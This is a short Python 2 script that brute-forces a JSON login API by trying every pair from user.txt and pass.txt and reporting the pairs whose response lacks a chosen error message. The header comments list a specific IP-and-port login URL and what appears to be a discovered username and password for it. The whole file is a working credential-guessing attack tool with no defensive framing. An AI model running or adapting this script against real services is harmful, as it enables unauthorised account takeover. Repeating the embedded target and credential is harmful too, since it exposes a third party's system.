#coding:utf-8
#http://183.6.136.90:8081/api/login
#{username: "1", password: "1"}
# alog alog1qaz@WSX

import requests
import json 
import requests
from sys import argv


def Usage():
	print "[Usage] ./xxx.py [URL] [UserParam] [PassParm] [ErrorMessage]"
	#通过输入 url 参数 错误信息 获取 成功的账号密码


def loadData():
	buffer1 = []
	buffer2 = []
	buffer3 = []

	with open("user.txt", "rb") as f1, open("pass.txt", "r") as f2:
		for i in f1.readlines():
			buffer1.append(i.strip())

		for i in f2.readlines():
			buffer2.append(i.strip())

	for x in buffer1:
		for y in buffer2:
			buffer3.append([x, y]) 

	return buffer3


def crack(data, url, up, pp, flag):
	head = {'Content-Type': 'application/json; charset=utf-8'}
	for i in data:
		usr = i[0]
		pwd = i[1]
		payload = json.dumps({up:usr, pp: pwd})
		r =  requests.post(url, headers=head, data=payload)
		# lens = r.headers.get("Content-Length")
		if flag not in r.text:
			print "[Success]Username: %s, Password: %s"%(usr, pwd)
			print 
			# print "Username: %s, Password: %s, Length: %s" % (usr, pwd, lens)


if __name__ == '__main__':
	try:
		url = argv[1]
		up = argv[2]
		pp = argv[3]
		flag = argv[4]
		data = loadData()
		crack(data, url, up, pp, flag)
	except:
		Usage()
